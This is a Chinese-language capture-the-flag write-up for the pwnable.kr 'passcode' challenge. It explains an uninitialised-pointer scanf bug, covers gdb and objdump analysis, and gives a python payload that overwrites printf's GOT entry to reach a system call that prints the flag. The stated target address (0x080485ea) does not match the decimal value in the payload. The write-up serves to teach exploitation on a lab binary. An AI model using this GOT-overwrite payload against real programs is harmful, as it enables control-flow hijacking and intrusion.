pwnable.kr [Toddler's Bottle] - passcode

Mommy told me to make a passcode based login system.
My initial C code was compiled without any error!
Well, there was some compiler warning, but who cares about that?

ssh passcode@pwnable.kr -p2222 (pw:guest)

说来惭愧，这题在刚接触的时候因为对 Linux 编程的不了解，试了很多办法都没有头绪，所以拖到了现在。
其实原理很简单，就是简单的 GOT 溢出攻击。
关于 GOT 相关可以移步笔者另一篇转载的文章，有关于 PLT , GOT 的简单介绍：
http://blog.csdn.net/qq_19550513/article/details/66535524

这里先放上题目源码：

#include <stdio.h>
#include <stdlib.h>

void login(){
    int passcode1;
    int passcode2;

    printf("enter passcode1 : ");
    scanf("%d", passcode1);
    fflush(stdin);

    // ha! mommy told me that 32bit is vulnerable to bruteforcing :)
    printf("enter passcode2 : ");
        scanf("%d", passcode2);

    printf("checking...\n");
    if(passcode1==338150 && passcode2==13371337){
                printf("Login OK!\n");
                system("/bin/cat flag");
        }
        else{
                printf("Login Failed!\n");
        exit(0);
        }
}

void welcome(){
    char name[100];
    printf("enter you name : ");
    scanf("%100s", name);
    printf("Welcome %s!\n", name);
}

int main(){
    printf("Toddler's Secure Login System 1.0 beta.\n");

    welcome();
    login();

    // something after login...
    printf("Now I can safely trust you that you have credential :)\n");
    return 0;   
}

可以看到在 login 函数中调用的 scanf("%d", passcode1); 在 passcode1 前没有加取地址符号 &，而由于 passcode 1没有初始化，导致这个输入操作会将数据写入 栈中 passcode1 未被初始化时存放的数据指向的地址。在实际执行到这里时如果对 passcode1 输入了正确格式的十进制整数，便会报错。

用 gdb 调试，分别在 welcome 和 login 函数处下断。
在 welcome 函数调用 scanf 处先输入 100 个 ‘a’ 方便观察栈中情况，如下：

continue , 执行到 passcode1 的 scanf 前中断，查看此时栈中情况：

可以看到，welcome 函数中输入的最后 4 字节占据了此时局部变量 passcode1 在栈中的位置。所以在执行 scanf("%d", passcode1); 时会像这里指向的不存在的 0x61616161 处写内容，故而报错。

造成这个问题的原因有两点：

• 在 welcome 函数返回后这里进行了堆栈平衡，然而没有清空栈中的内容，login 函数和 welcome 函数又相当于是共享了同一个栈区域；
• passcode1 没有初始化，导致passcode1 在栈中单元里存放的仍是之前栈帧遗留下来的内容。

我们可以利用被湮没的这 4 个字节，利用 scanf 函数去到指定的位置写内容。这题的目的是绕过对 passcode 的验证，这里可以覆写 GOT 来控制程序流程。

即原理是，welcome 中 scanf 函数被调用 –> 输入构造好的字符串，其中最后 4 字节为要覆写的保存有目标函数指令地址的内存单元在 GOT 中的地址 –> login 中的 scanf函数被调用 –> 覆写该位置，即目标函数指令地址被改写，执行该函数时会去到改写后的位置执行。

通过 gdb 查看 login 中之后调用的函数位置（这里无非是 fflush , printf , 和 exit），任选其一即可，这里笔者选择的是printf。

接下来查找 system 调用指令的位置和和 printf 在 GOT 中的地址（因为编译环境可能和服务器不同，为了准确性，到 ssh 登入去找相关位置）

直接 passcode@ubuntu:~$ objdump -d passcode

找到相关地址如下：

即控制流程指向的 call system 位于 0x080485ea，printf 在 GOT 中地址为 0x0804a000 ，
构造如下输入后得到 falg：

passcode@ubuntu:~$ python -c 'print "a"*96 + "\x00\xa0\x04\x08" + "134514147\n"' | ./passcode
Toddler's Secure Login System 1.0 beta.
enter you name : Welcome aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa!
Sorry mom.. I got confused about scanf usage :(
enter passcode1 : Now I can safely trust you that you have credential :)